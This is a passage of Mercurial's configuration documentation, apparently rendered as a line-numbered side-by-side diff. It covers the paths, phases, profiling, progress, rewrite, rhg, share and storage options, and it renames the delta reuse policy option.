1886 Paths using the `path://otherpath` scheme will inherit the sub-options value from
1886 Paths using the `path://otherpath` scheme will inherit the sub-options value from
1887 the path they point to.
1887 the path they point to.
1888
1888
1889 The following sub-options can be defined:
1889 The following sub-options can be defined:
1890
1890
1891 ``multi-urls``
1891 ``multi-urls``
1892 A boolean option. When enabled the value of the `[paths]` entry will be
1892 A boolean option. When enabled the value of the `[paths]` entry will be
1893 parsed as a list and the alias will resolve to multiple destination. If some
1893 parsed as a list and the alias will resolve to multiple destination. If some
1894 of the list entry use the `path://` syntax, the suboption will be inherited
1894 of the list entry use the `path://` syntax, the suboption will be inherited
1895 individually.
1895 individually.
1896
1896
1897 ``pushurl``
1897 ``pushurl``
1898 The URL to use for push operations. If not defined, the location
1898 The URL to use for push operations. If not defined, the location
1899 defined by the path's main entry is used.
1899 defined by the path's main entry is used.
1900
1900
1901 ``pushrev``
1901 ``pushrev``
1902 A revset defining which revisions to push by default.
1902 A revset defining which revisions to push by default.
1903
1903
1904 When :hg:`push` is executed without a ``-r`` argument, the revset
1904 When :hg:`push` is executed without a ``-r`` argument, the revset
1905 defined by this sub-option is evaluated to determine what to push.
1905 defined by this sub-option is evaluated to determine what to push.
1906
1906
1907 For example, a value of ``.`` will push the working directory's
1907 For example, a value of ``.`` will push the working directory's
1908 revision by default.
1908 revision by default.
1909
1909
1910 Revsets specifying bookmarks will not result in the bookmark being
1910 Revsets specifying bookmarks will not result in the bookmark being
1911 pushed.
1911 pushed.
1912
1912
1913 ``bookmarks.mode``
1913 ``bookmarks.mode``
1914 How bookmark will be dealt during the exchange. It support the following value
1914 How bookmark will be dealt during the exchange. It support the following value
1915
1915
1916 - ``default``: the default behavior, local and remote bookmarks are "merged"
1916 - ``default``: the default behavior, local and remote bookmarks are "merged"
1917 on push/pull.
1917 on push/pull.
1918
1918
1919 - ``mirror``: when pulling, replace local bookmarks by remote bookmarks. This
1919 - ``mirror``: when pulling, replace local bookmarks by remote bookmarks. This
1920 is useful to replicate a repository, or as an optimization.
1920 is useful to replicate a repository, or as an optimization.
1921
1921
1922 - ``ignore``: ignore bookmarks during exchange.
1922 - ``ignore``: ignore bookmarks during exchange.
1923 (This currently only affect pulling)
1923 (This currently only affect pulling)
1924
1924
1925 .. container:: verbose
1925 .. container:: verbose
1926
1926
1927 ``delta-reuse-policy``
1927 ``pulled-delta-reuse-policy``
1928 Control the policy regarding deltas sent by the remote during pulls.
1928 Control the policy regarding deltas sent by the remote during pulls.
1929
1929
1930 This is an advanced option that non-admin users should not need to understand
1930 This is an advanced option that non-admin users should not need to understand
1931 or set. This option can be used to speed up pulls from trusted central
1931 or set. This option can be used to speed up pulls from trusted central
1932 servers, or to fix-up deltas from older servers.
1932 servers, or to fix-up deltas from older servers.
1933
1933
1934 It supports the following values:
1934 It supports the following values:
1935
1935
1936 - ``default``: use the policy defined by
1936 - ``default``: use the policy defined by
1937 `storage.revlog.reuse-external-delta-parent`,
1937 `storage.revlog.reuse-external-delta-parent`,
1938
1938
1939 - ``no-reuse``: start a new optimal delta search for each new revision we add
1939 - ``no-reuse``: start a new optimal delta search for each new revision we add
1940 to the repository. The deltas from the server will be reused when the base
1940 to the repository. The deltas from the server will be reused when the base
1941 it applies to is tested (this can be frequent if that base is the one and
1941 it applies to is tested (this can be frequent if that base is the one and
1942 unique parent of that revision). This can significantly slowdown pulls but
1942 unique parent of that revision). This can significantly slowdown pulls but
1943 will result in an optimized storage space if the remote peer is sending poor
1943 will result in an optimized storage space if the remote peer is sending poor
1944 quality deltas.
1944 quality deltas.
1945
1945
1946 - ``try-base``: try to reuse the deltas from the remote peer as long as they
1946 - ``try-base``: try to reuse the deltas from the remote peer as long as they
1947 create a valid delta-chain in the local repository. This speeds up the
1947 create a valid delta-chain in the local repository. This speeds up the
1948 unbundling process, but can result in sub-optimal storage space if the
1948 unbundling process, but can result in sub-optimal storage space if the
1949 remote peer is sending poor quality deltas.
1949 remote peer is sending poor quality deltas.
1950
1950
1951 - ``forced``: the deltas from the peer will be reused in all cases, even if
1951 - ``forced``: the deltas from the peer will be reused in all cases, even if
1952 the resulting delta-chain is "invalid". This setting will ensure the bundle
1952 the resulting delta-chain is "invalid". This setting will ensure the bundle
1953 is applied at minimal CPU cost, but it can result in longer delta chains
1953 is applied at minimal CPU cost, but it can result in longer delta chains
1954 being created on the client, making revisions potentially slower to access
1954 being created on the client, making revisions potentially slower to access
1955 in the future. If you think you need this option, you should make sure you
1955 in the future. If you think you need this option, you should make sure you
1956 are also talking to the Mercurial developer community to get confirmation.
1956 are also talking to the Mercurial developer community to get confirmation.
1957
1957
1958 See `hg help config.storage.revlog.reuse-external-delta-parent` for a similar
1958 See `hg help config.storage.revlog.reuse-external-delta-parent` for a similar
1959 global option. That option defines the behavior of `default`.
1959 global option. That option defines the behavior of `default`.
1960
1960
1961 The following special named paths exist:
1961 The following special named paths exist:
1962
1962
1963 ``default``
1963 ``default``
1964 The URL or directory to use when no source or remote is specified.
1964 The URL or directory to use when no source or remote is specified.
1965
1965
1966 :hg:`clone` will automatically define this path to the location the
1966 :hg:`clone` will automatically define this path to the location the
1967 repository was cloned from.
1967 repository was cloned from.
1968
1968
1969 ``default-push``
1969 ``default-push``
1970 (deprecated) The URL or directory for the default :hg:`push` location.
1970 (deprecated) The URL or directory for the default :hg:`push` location.
1971 ``default:pushurl`` should be used instead.
1971 ``default:pushurl`` should be used instead.
1972
1972
1973 ``phases``
1973 ``phases``
1974 ----------
1974 ----------
1975
1975
1976 Specifies default handling of phases. See :hg:`help phases` for more
1976 Specifies default handling of phases. See :hg:`help phases` for more
1977 information about working with phases.
1977 information about working with phases.
1978
1978
1979 ``publish``
1979 ``publish``
1980 Controls draft phase behavior when working as a server. When true,
1980 Controls draft phase behavior when working as a server. When true,
1981 pushed changesets are set to public in both client and server and
1981 pushed changesets are set to public in both client and server and
1982 pulled or cloned changesets are set to public in the client.
1982 pulled or cloned changesets are set to public in the client.
1983 (default: True)
1983 (default: True)
1984
1984
1985 ``new-commit``
1985 ``new-commit``
1986 Phase of newly-created commits.
1986 Phase of newly-created commits.
1987 (default: draft)
1987 (default: draft)
1988
1988
1989 ``checksubrepos``
1989 ``checksubrepos``
1990 Check the phase of the current revision of each subrepository. Allowed
1990 Check the phase of the current revision of each subrepository. Allowed
1991 values are "ignore", "follow" and "abort". For settings other than
1991 values are "ignore", "follow" and "abort". For settings other than
1992 "ignore", the phase of the current revision of each subrepository is
1992 "ignore", the phase of the current revision of each subrepository is
1993 checked before committing the parent repository. If any of those phases is
1993 checked before committing the parent repository. If any of those phases is
1994 greater than the phase of the parent repository (e.g. if a subrepo is in a
1994 greater than the phase of the parent repository (e.g. if a subrepo is in a
1995 "secret" phase while the parent repo is in "draft" phase), the commit is
1995 "secret" phase while the parent repo is in "draft" phase), the commit is
1996 either aborted (if checksubrepos is set to "abort") or the higher phase is
1996 either aborted (if checksubrepos is set to "abort") or the higher phase is
1997 used for the parent repository commit (if set to "follow").
1997 used for the parent repository commit (if set to "follow").
1998 (default: follow)
1998 (default: follow)
1999
1999
2000
2000
2001 ``profiling``
2001 ``profiling``
2002 -------------
2002 -------------
2003
2003
2004 Specifies profiling type, format, and file output. Two profilers are
2004 Specifies profiling type, format, and file output. Two profilers are
2005 supported: an instrumenting profiler (named ``ls``), and a sampling
2005 supported: an instrumenting profiler (named ``ls``), and a sampling
2006 profiler (named ``stat``).
2006 profiler (named ``stat``).
2007
2007
2008 In this section description, 'profiling data' stands for the raw data
2008 In this section description, 'profiling data' stands for the raw data
2009 collected during profiling, while 'profiling report' stands for a
2009 collected during profiling, while 'profiling report' stands for a
2010 statistical text report generated from the profiling data.
2010 statistical text report generated from the profiling data.
2011
2011
2012 ``enabled``
2012 ``enabled``
2013 Enable the profiler.
2013 Enable the profiler.
2014 (default: false)
2014 (default: false)
2015
2015
2016 This is equivalent to passing ``--profile`` on the command line.
2016 This is equivalent to passing ``--profile`` on the command line.
2017
2017
2018 ``type``
2018 ``type``
2019 The type of profiler to use.
2019 The type of profiler to use.
2020 (default: stat)
2020 (default: stat)
2021
2021
2022 ``ls``
2022 ``ls``
2023 Use Python's built-in instrumenting profiler. This profiler
2023 Use Python's built-in instrumenting profiler. This profiler
2024 works on all platforms, but each line number it reports is the
2024 works on all platforms, but each line number it reports is the
2025 first line of a function. This restriction makes it difficult to
2025 first line of a function. This restriction makes it difficult to
2026 identify the expensive parts of a non-trivial function.
2026 identify the expensive parts of a non-trivial function.
2027 ``stat``
2027 ``stat``
2028 Use a statistical profiler, statprof. This profiler is most
2028 Use a statistical profiler, statprof. This profiler is most
2029 useful for profiling commands that run for longer than about 0.1
2029 useful for profiling commands that run for longer than about 0.1
2030 seconds.
2030 seconds.
2031
2031
2032 ``format``
2032 ``format``
2033 Profiling format. Specific to the ``ls`` instrumenting profiler.
2033 Profiling format. Specific to the ``ls`` instrumenting profiler.
2034 (default: text)
2034 (default: text)
2035
2035
2036 ``text``
2036 ``text``
2037 Generate a profiling report. When saving to a file, it should be
2037 Generate a profiling report. When saving to a file, it should be
2038 noted that only the report is saved, and the profiling data is
2038 noted that only the report is saved, and the profiling data is
2039 not kept.
2039 not kept.
2040 ``kcachegrind``
2040 ``kcachegrind``
2041 Format profiling data for kcachegrind use: when saving to a
2041 Format profiling data for kcachegrind use: when saving to a
2042 file, the generated file can directly be loaded into
2042 file, the generated file can directly be loaded into
2043 kcachegrind.
2043 kcachegrind.
2044
2044
2045 ``statformat``
2045 ``statformat``
2046 Profiling format for the ``stat`` profiler.
2046 Profiling format for the ``stat`` profiler.
2047 (default: hotpath)
2047 (default: hotpath)
2048
2048
2049 ``hotpath``
2049 ``hotpath``
2050 Show a tree-based display containing the hot path of execution (where
2050 Show a tree-based display containing the hot path of execution (where
2051 most time was spent).
2051 most time was spent).
2052 ``bymethod``
2052 ``bymethod``
2053 Show a table of methods ordered by how frequently they are active.
2053 Show a table of methods ordered by how frequently they are active.
2054 ``byline``
2054 ``byline``
2055 Show a table of lines in files ordered by how frequently they are active.
2055 Show a table of lines in files ordered by how frequently they are active.
2056 ``json``
2056 ``json``
2057 Render profiling data as JSON.
2057 Render profiling data as JSON.
2058
2058
2059 ``freq``
2059 ``freq``
2060 Sampling frequency. Specific to the ``stat`` sampling profiler.
2060 Sampling frequency. Specific to the ``stat`` sampling profiler.
2061 (default: 1000)
2061 (default: 1000)
2062
2062
2063 ``output``
2063 ``output``
2064 File path where profiling data or report should be saved. If the
2064 File path where profiling data or report should be saved. If the
2065 file exists, it is replaced. (default: None, data is printed on
2065 file exists, it is replaced. (default: None, data is printed on
2066 stderr)
2066 stderr)
2067
2067
2068 ``sort``
2068 ``sort``
2069 Sort field. Specific to the ``ls`` instrumenting profiler.
2069 Sort field. Specific to the ``ls`` instrumenting profiler.
2070 One of ``callcount``, ``reccallcount``, ``totaltime`` and
2070 One of ``callcount``, ``reccallcount``, ``totaltime`` and
2071 ``inlinetime``.
2071 ``inlinetime``.
2072 (default: inlinetime)
2072 (default: inlinetime)
2073
2073
2074 ``time-track``
2074 ``time-track``
2075 Control if the stat profiler track ``cpu`` or ``real`` time.
2075 Control if the stat profiler track ``cpu`` or ``real`` time.
2076 (default: ``cpu`` on Windows, otherwise ``real``)
2076 (default: ``cpu`` on Windows, otherwise ``real``)
2077
2077
2078 ``limit``
2078 ``limit``
2079 Number of lines to show. Specific to the ``ls`` instrumenting profiler.
2079 Number of lines to show. Specific to the ``ls`` instrumenting profiler.
2080 (default: 30)
2080 (default: 30)
2081
2081
2082 ``nested``
2082 ``nested``
2083 Show at most this number of lines of drill-down info after each main entry.
2083 Show at most this number of lines of drill-down info after each main entry.
2084 This can help explain the difference between Total and Inline.
2084 This can help explain the difference between Total and Inline.
2085 Specific to the ``ls`` instrumenting profiler.
2085 Specific to the ``ls`` instrumenting profiler.
2086 (default: 0)
2086 (default: 0)
2087
2087
2088 ``showmin``
2088 ``showmin``
2089 Minimum fraction of samples an entry must have for it to be displayed.
2089 Minimum fraction of samples an entry must have for it to be displayed.
2090 Can be specified as a float between ``0.0`` and ``1.0`` or can have a
2090 Can be specified as a float between ``0.0`` and ``1.0`` or can have a
2091 ``%`` afterwards to allow values up to ``100``. e.g. ``5%``.
2091 ``%`` afterwards to allow values up to ``100``. e.g. ``5%``.
2092
2092
2093 Only used by the ``stat`` profiler.
2093 Only used by the ``stat`` profiler.
2094
2094
2095 For the ``hotpath`` format, default is ``0.05``.
2095 For the ``hotpath`` format, default is ``0.05``.
2096 For the ``chrome`` format, default is ``0.005``.
2096 For the ``chrome`` format, default is ``0.005``.
2097
2097
2098 The option is unused on other formats.
2098 The option is unused on other formats.
2099
2099
2100 ``showmax``
2100 ``showmax``
2101 Maximum fraction of samples an entry can have before it is ignored in
2101 Maximum fraction of samples an entry can have before it is ignored in
2102 display. Values format is the same as ``showmin``.
2102 display. Values format is the same as ``showmin``.
2103
2103
2104 Only used by the ``stat`` profiler.
2104 Only used by the ``stat`` profiler.
2105
2105
2106 For the ``chrome`` format, default is ``0.999``.
2106 For the ``chrome`` format, default is ``0.999``.
2107
2107
2108 The option is unused on other formats.
2108 The option is unused on other formats.
2109
2109
2110 ``showtime``
2110 ``showtime``
2111 Show time taken as absolute durations, in addition to percentages.
2111 Show time taken as absolute durations, in addition to percentages.
2112 Only used by the ``hotpath`` format.
2112 Only used by the ``hotpath`` format.
2113 (default: true)
2113 (default: true)
2114
2114
2115 ``progress``
2115 ``progress``
2116 ------------
2116 ------------
2117
2117
2118 Mercurial commands can draw progress bars that are as informative as
2118 Mercurial commands can draw progress bars that are as informative as
2119 possible. Some progress bars only offer indeterminate information, while others
2119 possible. Some progress bars only offer indeterminate information, while others
2120 have a definite end point.
2120 have a definite end point.
2121
2121
2122 ``debug``
2122 ``debug``
2123 Whether to print debug info when updating the progress bar. (default: False)
2123 Whether to print debug info when updating the progress bar. (default: False)
2124
2124
2125 ``delay``
2125 ``delay``
2126 Number of seconds (float) before showing the progress bar. (default: 3)
2126 Number of seconds (float) before showing the progress bar. (default: 3)
2127
2127
2128 ``changedelay``
2128 ``changedelay``
2129 Minimum delay before showing a new topic. When set to less than 3 * refresh,
2129 Minimum delay before showing a new topic. When set to less than 3 * refresh,
2130 that value will be used instead. (default: 1)
2130 that value will be used instead. (default: 1)
2131
2131
2132 ``estimateinterval``
2132 ``estimateinterval``
2133 Maximum sampling interval in seconds for speed and estimated time
2133 Maximum sampling interval in seconds for speed and estimated time
2134 calculation. (default: 60)
2134 calculation. (default: 60)
2135
2135
2136 ``refresh``
2136 ``refresh``
2137 Time in seconds between refreshes of the progress bar. (default: 0.1)
2137 Time in seconds between refreshes of the progress bar. (default: 0.1)
2138
2138
2139 ``format``
2139 ``format``
2140 Format of the progress bar.
2140 Format of the progress bar.
2141
2141
2142 Valid entries for the format field are ``topic``, ``bar``, ``number``,
2142 Valid entries for the format field are ``topic``, ``bar``, ``number``,
2143 ``unit``, ``estimate``, ``speed``, and ``item``. ``item`` defaults to the
2143 ``unit``, ``estimate``, ``speed``, and ``item``. ``item`` defaults to the
2144 last 20 characters of the item, but this can be changed by adding either
2144 last 20 characters of the item, but this can be changed by adding either
2145 ``-<num>`` which would take the last num characters, or ``+<num>`` for the
2145 ``-<num>`` which would take the last num characters, or ``+<num>`` for the
2146 first num characters.
2146 first num characters.
2147
2147
2148 (default: topic bar number estimate)
2148 (default: topic bar number estimate)
2149
2149
2150 ``width``
2150 ``width``
2151 If set, the maximum width of the progress information (that is, min(width,
2151 If set, the maximum width of the progress information (that is, min(width,
2152 term width) will be used).
2152 term width) will be used).
2153
2153
2154 ``clear-complete``
2154 ``clear-complete``
2155 Clear the progress bar after it's done. (default: True)
2155 Clear the progress bar after it's done. (default: True)
2156
2156
2157 ``disable``
2157 ``disable``
2158 If true, don't show a progress bar.
2158 If true, don't show a progress bar.
2159
2159
2160 ``assume-tty``
2160 ``assume-tty``
2161 If true, ALWAYS show a progress bar, unless disable is given.
2161 If true, ALWAYS show a progress bar, unless disable is given.
2162
2162
2163 ``rebase``
2163 ``rebase``
2164 ----------
2164 ----------
2165
2165
2166 ``evolution.allowdivergence``
2166 ``evolution.allowdivergence``
2167 Default to False, when True allow creating divergence when performing
2167 Default to False, when True allow creating divergence when performing
2168 rebase of obsolete changesets.
2168 rebase of obsolete changesets.
2169
2169
2170 ``revsetalias``
2170 ``revsetalias``
2171 ---------------
2171 ---------------
2172
2172
2173 Alias definitions for revsets. See :hg:`help revsets` for details.
2173 Alias definitions for revsets. See :hg:`help revsets` for details.
2174
2174
2175 ``rewrite``
2175 ``rewrite``
2176 -----------
2176 -----------
2177
2177
2178 ``backup-bundle``
2178 ``backup-bundle``
2179 Whether to save stripped changesets to a bundle file. (default: True)
2179 Whether to save stripped changesets to a bundle file. (default: True)
2180
2180
2181 ``update-timestamp``
2181 ``update-timestamp``
2182 If true, updates the date and time of the changeset to current. It is only
2182 If true, updates the date and time of the changeset to current. It is only
2183 applicable for `hg amend`, `hg commit --amend` and `hg uncommit` in the
2183 applicable for `hg amend`, `hg commit --amend` and `hg uncommit` in the
2184 current version.
2184 current version.
2185
2185
2186 ``empty-successor``
2186 ``empty-successor``
2187
2187
2188 Control what happens with empty successors that are the result of rewrite
2188 Control what happens with empty successors that are the result of rewrite
2189 operations. If set to ``skip``, the successor is not created. If set to
2189 operations. If set to ``skip``, the successor is not created. If set to
2190 ``keep``, the empty successor is created and kept.
2190 ``keep``, the empty successor is created and kept.
2191
2191
2192 Currently, only the rebase and absorb commands consider this configuration.
2192 Currently, only the rebase and absorb commands consider this configuration.
2193 (EXPERIMENTAL)
2193 (EXPERIMENTAL)
2194
2194
2195 ``rhg``
2195 ``rhg``
2196 -------
2196 -------
2197
2197
2198 The pure Rust fast-path for Mercurial. See `rust/README.rst` in the Mercurial repository.
2198 The pure Rust fast-path for Mercurial. See `rust/README.rst` in the Mercurial repository.
2199
2199
2200 ``fallback-executable``
2200 ``fallback-executable``
2201 Path to the executable to run in a sub-process when falling back to
2201 Path to the executable to run in a sub-process when falling back to
2202 another implementation of Mercurial.
2202 another implementation of Mercurial.
2203
2203
2204 ``fallback-immediately``
2204 ``fallback-immediately``
2205 Fall back to ``fallback-executable`` as soon as possible, regardless of
2205 Fall back to ``fallback-executable`` as soon as possible, regardless of
2206 the `rhg.on-unsupported` configuration. Useful for debugging, for example to
2206 the `rhg.on-unsupported` configuration. Useful for debugging, for example to
2207 bypass `rhg` if the deault `hg` points to `rhg`.
2207 bypass `rhg` if the deault `hg` points to `rhg`.
2208
2208
2209 Note that because this requires loading the configuration, it is possible
2209 Note that because this requires loading the configuration, it is possible
2210 that `rhg` error out before being able to fall back.
2210 that `rhg` error out before being able to fall back.
2211
2211
2212 ``ignored-extensions``
2212 ``ignored-extensions``
2213 Controls which extensions should be ignored by `rhg`. By default, `rhg`
2213 Controls which extensions should be ignored by `rhg`. By default, `rhg`
2214 triggers the `rhg.on-unsupported` behavior any unsupported extensions.
2214 triggers the `rhg.on-unsupported` behavior any unsupported extensions.
2215 Users can disable that behavior when they know that a given extension
2215 Users can disable that behavior when they know that a given extension
2216 does not need support from `rhg`.
2216 does not need support from `rhg`.
2217
2217
2218 Expects a list of extension names, or ``*`` to ignore all extensions.
2218 Expects a list of extension names, or ``*`` to ignore all extensions.
2219
2219
2220 Note: ``*:<suboption>`` is also a valid extension name for this
2220 Note: ``*:<suboption>`` is also a valid extension name for this
2221 configuration option.
2221 configuration option.
2222 As of this writing, the only valid "global" suboption is ``required``.
2222 As of this writing, the only valid "global" suboption is ``required``.
2223
2223
2224 ``on-unsupported``
2224 ``on-unsupported``
2225 Controls the behavior of `rhg` when detecting unsupported features.
2225 Controls the behavior of `rhg` when detecting unsupported features.
2226
2226
2227 Possible values are `abort` (default), `abort-silent` and `fallback`.
2227 Possible values are `abort` (default), `abort-silent` and `fallback`.
2228
2228
2229 ``abort``
2229 ``abort``
2230 Print an error message describing what feature is not supported,
2230 Print an error message describing what feature is not supported,
2231 and exit with code 252
2231 and exit with code 252
2232
2232
2233 ``abort-silent``
2233 ``abort-silent``
2234 Silently exit with code 252
2234 Silently exit with code 252
2235
2235
2236 ``fallback``
2236 ``fallback``
2237 Try running the fallback executable with the same parameters
2237 Try running the fallback executable with the same parameters
2238 (and trace the fallback reason, use `RUST_LOG=trace` to see).
2238 (and trace the fallback reason, use `RUST_LOG=trace` to see).
2239
2239
2240 ``share``
2240 ``share``
2241 ---------
2241 ---------
2242
2242
2243 ``safe-mismatch.source-safe``
2243 ``safe-mismatch.source-safe``
2244 Controls what happens when the shared repository does not use the
2244 Controls what happens when the shared repository does not use the
2245 share-safe mechanism but its source repository does.
2245 share-safe mechanism but its source repository does.
2246
2246
2247 Possible values are `abort` (default), `allow`, `upgrade-abort` and
2247 Possible values are `abort` (default), `allow`, `upgrade-abort` and
2248 `upgrade-allow`.
2248 `upgrade-allow`.
2249
2249
2250 ``abort``
2250 ``abort``
2251 Disallows running any command and aborts
2251 Disallows running any command and aborts
2252 ``allow``
2252 ``allow``
2253 Respects the feature presence in the share source
2253 Respects the feature presence in the share source
2254 ``upgrade-abort``
2254 ``upgrade-abort``
2255 Tries to upgrade the share to use share-safe; if it fails, aborts
2255 Tries to upgrade the share to use share-safe; if it fails, aborts
2256 ``upgrade-allow``
2256 ``upgrade-allow``
2257 Tries to upgrade the share; if it fails, continue by
2257 Tries to upgrade the share; if it fails, continue by
2258 respecting the share source setting
2258 respecting the share source setting
2259
2259
2260 Check :hg:`help config.format.use-share-safe` for details about the
2260 Check :hg:`help config.format.use-share-safe` for details about the
2261 share-safe feature.
2261 share-safe feature.
2262
2262
2263 ``safe-mismatch.source-safe:verbose-upgrade``
2263 ``safe-mismatch.source-safe:verbose-upgrade``
2264 Display a message when upgrading, (default: True)
2264 Display a message when upgrading, (default: True)
2265
2265
2266 ``safe-mismatch.source-safe.warn``
2266 ``safe-mismatch.source-safe.warn``
2267 Shows a warning on operations if the shared repository does not use
2267 Shows a warning on operations if the shared repository does not use
2268 share-safe, but the source repository does.
2268 share-safe, but the source repository does.
2269 (default: True)
2269 (default: True)
2270
2270
2271 ``safe-mismatch.source-not-safe``
2271 ``safe-mismatch.source-not-safe``
2272 Controls what happens when the shared repository uses the share-safe
2272 Controls what happens when the shared repository uses the share-safe
2273 mechanism but its source does not.
2273 mechanism but its source does not.
2274
2274
2275 Possible values are `abort` (default), `allow`, `downgrade-abort` and
2275 Possible values are `abort` (default), `allow`, `downgrade-abort` and
2276 `downgrade-allow`.
2276 `downgrade-allow`.
2277
2277
2278 ``abort``
2278 ``abort``
2279 Disallows running any command and aborts
2279 Disallows running any command and aborts
2280 ``allow``
2280 ``allow``
2281 Respects the feature presence in the share source
2281 Respects the feature presence in the share source
2282 ``downgrade-abort``
2282 ``downgrade-abort``
2283 Tries to downgrade the share to not use share-safe; if it fails, aborts
2283 Tries to downgrade the share to not use share-safe; if it fails, aborts
2284 ``downgrade-allow``
2284 ``downgrade-allow``
2285 Tries to downgrade the share to not use share-safe;
2285 Tries to downgrade the share to not use share-safe;
2286 if it fails, continue by respecting the shared source setting
2286 if it fails, continue by respecting the shared source setting
2287
2287
2288 Check :hg:`help config.format.use-share-safe` for details about the
2288 Check :hg:`help config.format.use-share-safe` for details about the
2289 share-safe feature.
2289 share-safe feature.
2290
2290
2291 ``safe-mismatch.source-not-safe:verbose-upgrade``
2291 ``safe-mismatch.source-not-safe:verbose-upgrade``
2292 Display a message when upgrading, (default: True)
2292 Display a message when upgrading, (default: True)
2293
2293
2294 ``safe-mismatch.source-not-safe.warn``
2294 ``safe-mismatch.source-not-safe.warn``
2295 Shows a warning on operations if the shared repository uses share-safe,
2295 Shows a warning on operations if the shared repository uses share-safe,
2296 but the source repository does not.
2296 but the source repository does not.
2297 (default: True)
2297 (default: True)
2298
2298
2299 ``storage``
2299 ``storage``
2300 -----------
2300 -----------
2301
2301
2302 Control the strategy Mercurial uses internally to store history. Options in this
2302 Control the strategy Mercurial uses internally to store history. Options in this
2303 category impact performance and repository size.
2303 category impact performance and repository size.
2304
2304
2305 ``revlog.issue6528.fix-incoming``
2305 ``revlog.issue6528.fix-incoming``
2306 Version 5.8 of Mercurial had a bug leading to altering the parent of file
2306 Version 5.8 of Mercurial had a bug leading to altering the parent of file
2307 revision with copy information (or any other metadata) on exchange. This
2307 revision with copy information (or any other metadata) on exchange. This
2308 leads to the copy metadata to be overlooked by various internal logic. The
2308 leads to the copy metadata to be overlooked by various internal logic. The
2309 issue was fixed in Mercurial 5.8.1.
2309 issue was fixed in Mercurial 5.8.1.
2310 (See https://bz.mercurial-scm.org/show_bug.cgi?id=6528 for details)
2310 (See https://bz.mercurial-scm.org/show_bug.cgi?id=6528 for details)
2311
2311
2312 As a result Mercurial is now checking and fixing incoming file revisions to
2312 As a result Mercurial is now checking and fixing incoming file revisions to
2313 make sure there parents are in the right order. This behavior can be
2313 make sure there parents are in the right order. This behavior can be
2314 disabled by setting this option to `no`. This apply to revisions added
2314 disabled by setting this option to `no`. This apply to revisions added
2315 through push, pull, clone and unbundle.
2315 through push, pull, clone and unbundle.
2316
2316
2317 To fix affected revisions that already exist within the repository, one can
2317 To fix affected revisions that already exist within the repository, one can
2318 use :hg:`debug-repair-issue-6528`.
2318 use :hg:`debug-repair-issue-6528`.
2319
2319
2320 .. container:: verbose
2320 .. container:: verbose
2321
2321
2322 ``revlog.delta-parent-search.candidate-group-chunk-size``
2322 ``revlog.delta-parent-search.candidate-group-chunk-size``
2323 Tune the number of delta bases the storage will consider in the
2323 Tune the number of delta bases the storage will consider in the
2324 same "round" of search. In some very rare cases, using a smaller value
2324 same "round" of search. In some very rare cases, using a smaller value
2325 might result in faster processing at the possible expense of storage
2325 might result in faster processing at the possible expense of storage
2326 space, while using larger values might result in slower processing at the
2326 space, while using larger values might result in slower processing at the
2327 possible benefit of storage space. A value of "0" means no limitation.
2327 possible benefit of storage space. A value of "0" means no limitation.
2328
2328
2329 default: no limitation
2329 default: no limitation
2330
2330
2331 This is unlikely that you'll have to tune this configuration. If you think
2331 This is unlikely that you'll have to tune this configuration. If you think
2332 you do, consider talking with the mercurial developer community about your
2332 you do, consider talking with the mercurial developer community about your
2333 repositories.
2333 repositories.
2334
2334
2335 ``revlog.optimize-delta-parent-choice``
2335 ``revlog.optimize-delta-parent-choice``
2336 When storing a merge revision, both parents will be equally considered as
2336 When storing a merge revision, both parents will be equally considered as
2337 a possible delta base. This results in better delta selection and improved
2337 a possible delta base. This results in better delta selection and improved
2338 revlog compression. This option is enabled by default.
2338 revlog compression. This option is enabled by default.
2339
2339
2340 Turning this option off can result in large increase of repository size for
2340 Turning this option off can result in large increase of repository size for
2341 repository with many merges.
2341 repository with many merges.
2342
2342
2343 ``revlog.persistent-nodemap.mmap``
2343 ``revlog.persistent-nodemap.mmap``
2344 Whether to use the Operating System "memory mapping" feature (when
2344 Whether to use the Operating System "memory mapping" feature (when
2345 possible) to access the persistent nodemap data. This improve performance
2345 possible) to access the persistent nodemap data. This improve performance
2346 and reduce memory pressure.
2346 and reduce memory pressure.
2347
2347
2348 Default to True.
2348 Default to True.
2349
2349
2350 For details on the "persistent-nodemap" feature, see:
2350 For details on the "persistent-nodemap" feature, see:
2351 :hg:`help config.format.use-persistent-nodemap`.
2351 :hg:`help config.format.use-persistent-nodemap`.
2352
2352
2353 ``revlog.persistent-nodemap.slow-path``
2353 ``revlog.persistent-nodemap.slow-path``
2354 Control the behavior of Merucrial when using a repository with "persistent"
2354 Control the behavior of Merucrial when using a repository with "persistent"
2355 nodemap with an installation of Mercurial without a fast implementation for
2355 nodemap with an installation of Mercurial without a fast implementation for
2356 the feature:
2356 the feature:
2357
2357
2358 ``allow``: Silently use the slower implementation to access the repository.
2358 ``allow``: Silently use the slower implementation to access the repository.
2359 ``warn``: Warn, but use the slower implementation to access the repository.
2359 ``warn``: Warn, but use the slower implementation to access the repository.
2360 ``abort``: Prevent access to such repositories. (This is the default)
2360 ``abort``: Prevent access to such repositories. (This is the default)
2361
2361
2362 For details on the "persistent-nodemap" feature, see:
2362 For details on the "persistent-nodemap" feature, see:
2363 :hg:`help config.format.use-persistent-nodemap`.
2363 :hg:`help config.format.use-persistent-nodemap`.
2364
2364
2365 ``revlog.reuse-external-delta-parent``
2365 ``revlog.reuse-external-delta-parent``
2366 Control the order in which delta parents are considered when adding new
2366 Control the order in which delta parents are considered when adding new
2367 revisions from an external source.
2367 revisions from an external source.
2368 (typically: apply bundle from `hg pull` or `hg push`).
2368 (typically: apply bundle from `hg pull` or `hg push`).
2369
2369
2370 New revisions are usually provided as a delta against other revisions. By
2370 New revisions are usually provided as a delta against other revisions. By
2371 default, Mercurial will try to reuse this delta first, therefore using the
2371 default, Mercurial will try to reuse this delta first, therefore using the
2372 same "delta parent" as the source. Directly using delta's from the source
2372 same "delta parent" as the source. Directly using delta's from the source
2373 reduces CPU usage and usually speeds up operation. However, in some case,
2373 reduces CPU usage and usually speeds up operation. However, in some case,
2374 the source might have sub-optimal delta bases and forcing their reevaluation
2374 the source might have sub-optimal delta bases and forcing their reevaluation
2375 is useful. For example, pushes from an old client could have sub-optimal
2375 is useful. For example, pushes from an old client could have sub-optimal
2376 delta's parent that the server want to optimize. (lack of general delta, bad
2376 delta's parent that the server want to optimize. (lack of general delta, bad
2377 parents, choice, lack of sparse-revlog, etc).
2377 parents, choice, lack of sparse-revlog, etc).
2378
2378
2379 This option is enabled by default. Turning it off will ensure bad delta
2379 This option is enabled by default. Turning it off will ensure bad delta
2380 parent choices from older client do not propagate to this repository, at
2380 parent choices from older client do not propagate to this repository, at
2381 the cost of a small increase in CPU consumption.
2381 the cost of a small increase in CPU consumption.
2382
2382
2383 Note: this option only control the order in which delta parents are
